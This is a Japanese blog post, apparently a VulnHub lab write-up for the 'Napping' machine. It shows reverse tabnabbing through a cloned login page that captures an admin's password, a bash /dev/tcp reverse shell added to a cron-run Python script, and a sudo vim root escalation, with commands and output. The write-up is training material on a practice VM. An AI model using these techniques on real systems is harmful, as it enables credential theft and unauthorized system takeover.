0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】Napping: 1.0.1:Writeup

Posted at

概要

VulnHub「Napping: 1.0.1」のWriteupです。

User Flag

ターゲットマシンのIPアドレスを特定します。

$sudo netenum 192.168.178.0/24 5 1
3 targets found
192.168.178.2
192.168.178.20
192.168.178.23

192.168.178.2は、DHCPサーバーのIPアドレスです。
192.168.178.20は、攻撃マシンのIPアドレスです。
192.168.178.23が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 192.168.178.23 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c4:fc:dc:4b:f4:31:a0:ad:0d:20:61:fd:ca:ab:79 (RSA)
|   256 6f:31:b3:e7:7b:aa:22:a2:a7:80:ef:6d:d2:87:6c:be (ECDSA)
|_  256 af:01:85:cf:dd:43:e9:8d:32:50:83:b2:41:ec:1d:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache/2.4.41

80番ポートにアクセスすると、ログイン画面が表示されました。

image.png

sign up nowのリンクからアカウント登録画面に遷移出来ました。

image.png

アカウント登録に成功すると、トップページが表示されました。
リンクを送信すると、管理者がレビューをするようです。

image.png

試しにテスト用のリンクを送信すると、Hereの文字でリンクが表示されました。

image.png

開発者ツールで挿入されたリンクのコードを確認すると、aタグにtarget="_blank"が付与されています。

image.png

target="_blank"がある場合、タブナビング攻撃を使用できる可能性があります。

今回はリンクを送信すると、管理者がレビューをしにアクセスしてくるようです。
なので、ログインページを模倣した罠サイトにリダイレクさせることで、ログイン情報を抜き取れるかもしれません。

Loginページにアクセスし、Save Page Asからページを保存します。

$ls -la
total 12
drwxr-xr-x 1 user user   80 Aug  5 12:52 .
drwxr-xr-x 1 user user   50 Aug  5 12:01 ..
-rw-r--r-- 1 user user 1254 Aug  5 12:52 Login.html
drwxr-xr-x 1 user user   34 Aug  5 12:52 Login_files

罠のログインページに遷移するようなHTMLファイルを作成します。

evil.html
<!DOCTYPE html>
<html>
  <body>
  <script>
    if(window.opener) {
      window.opener.location = "http://192.168.178.20:4433/Login.html";
    }
  </script>
  </body>
</html>

HTTPサーバーを起動します。

$sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Netcatでリッスンします。

$nc -lnvp 4433
Listening on 0.0.0.0 4433

リンク送信フォームから、http://<攻撃者端末 IP>/evil.htmlと送信します。

image.png

しばらくすると、evil.htmlへアクセスがありました。

$sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.178.23 - - [05/Aug/2025 13:06:04] "GET /evil.html HTTP/1.1" 200 -

Netcatを確認すると、罠のログインページからログインしようとした通信を取得できました。
リクエストボディから管理者が使用しているであろう、ユーザー名とパスワードを入手できました。

$nc -lnvp 4433
Listening on 0.0.0.0 4433
Connection received on 192.168.178.23 37496
POST /Login.html HTTP/1.1
Host: 192.168.178.20:4433
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

username=daniel&password=C%40ughtm3napping123

Username:daniel,Password:C@ughtm3napping123でSSH接続に成功しました。

$ssh daniel@192.168.178.23
daniel@napping:~$

ユーザーフラグはadrianアカウントで閲覧できるようです。

$ ls -al /home/adrian/
total 28
drwxr-xr-x 3 adrian adrian         4096 Aug  5 11:52 .
drwxr-xr-x 4 root   root           4096 Oct 12  2021 ..
lrwxrwxrwx 1 adrian adrian            9 Oct 12  2021 .bash_history -> /dev/null
-rw-r--r-- 1 adrian adrian            0 Feb 25  2020 .bash_logout
-rw-r--r-- 1 adrian adrian            0 Feb 25  2020 .bashrc
drwx------ 2 adrian adrian         4096 Oct 11  2021 .cache
lrwxrwxrwx 1 adrian adrian            9 Oct 12  2021 .mysql_history -> /dev/null
-rw-r--r-- 1 adrian adrian            0 Feb 25  2020 .profile
-rw-rw-r-- 1 adrian adrian           75 Oct 11  2021 .selected_editor
-rw-r--r-- 1 adrian adrian            0 Oct 11  2021 .sudo_as_admin_successful
-rw------- 1 adrian adrian            0 Oct 30  2021 .viminfo
-rw-rw-r-- 1 adrian administrators  481 Oct 30  2021 query.py
-rw-rw-r-- 1 adrian adrian         1248 Aug  5 13:10 site_status.txt
-rw------- 1 adrian adrian           22 Oct 12  2021 user.txt

query.pyadministratorsグループでも、編集できるようです。
danieladministratorsグループに入っているので、query.pyを編集できます。

$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)

query.pyの処理を確認すると、http://127.0.0.1にアクセスし、アクセスした時間をsite_status.txtに書き込んでいます。

query.py
from datetime import datetime
import requests

now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()

site_status.txtを確認すると、2分ごとに記録されています。
つまり、2分ごとにquery.pyを実行しているようです。

site_status.txt
Site is Up: 05/08/2025 11:52:01
Site is Up: 05/08/2025 11:54:01
Site is Up: 05/08/2025 11:56:01

query.pyの編集権限があるので、os.system()でリバースシェルを張る処理を追記しました。

query.py
from datetime import datetime
import requests
import os # 追記

os.system("bash -c 'bash -i >& /dev/tcp/<攻撃端末 IP>/1234 0>&1'") # 追記

now = datetime.now()

Netcatでリッスンしていると、adrianでシェルを張れました。

$nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.178.23 43984
bash: cannot set terminal process group (2063): Inappropriate ioctl for device
bash: no job control in this shell
adrian@napping:~$ whoami
whoami
adrian

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

ユーザーフラグを入手できました。

user.txt
You are nearly there!

Root Flag

sudo -lで確認すると、/usr/bin/vimが設定されています。

$ sudo -l
sudo -l
Matching Defaults entries for adrian on napping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adrian may run the following commands on napping:
    (root) NOPASSWD: /usr/bin/vim

vimで権限昇格できるテクニックがあります。

$ sudo /usr/bin/vim -c ':!/bin/bash'
# whoami
whoami
root

/root/root.txtからルートフラグを入手できました。

/root/root.txt
Admins just can't stay awake tsk tsk tsk
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?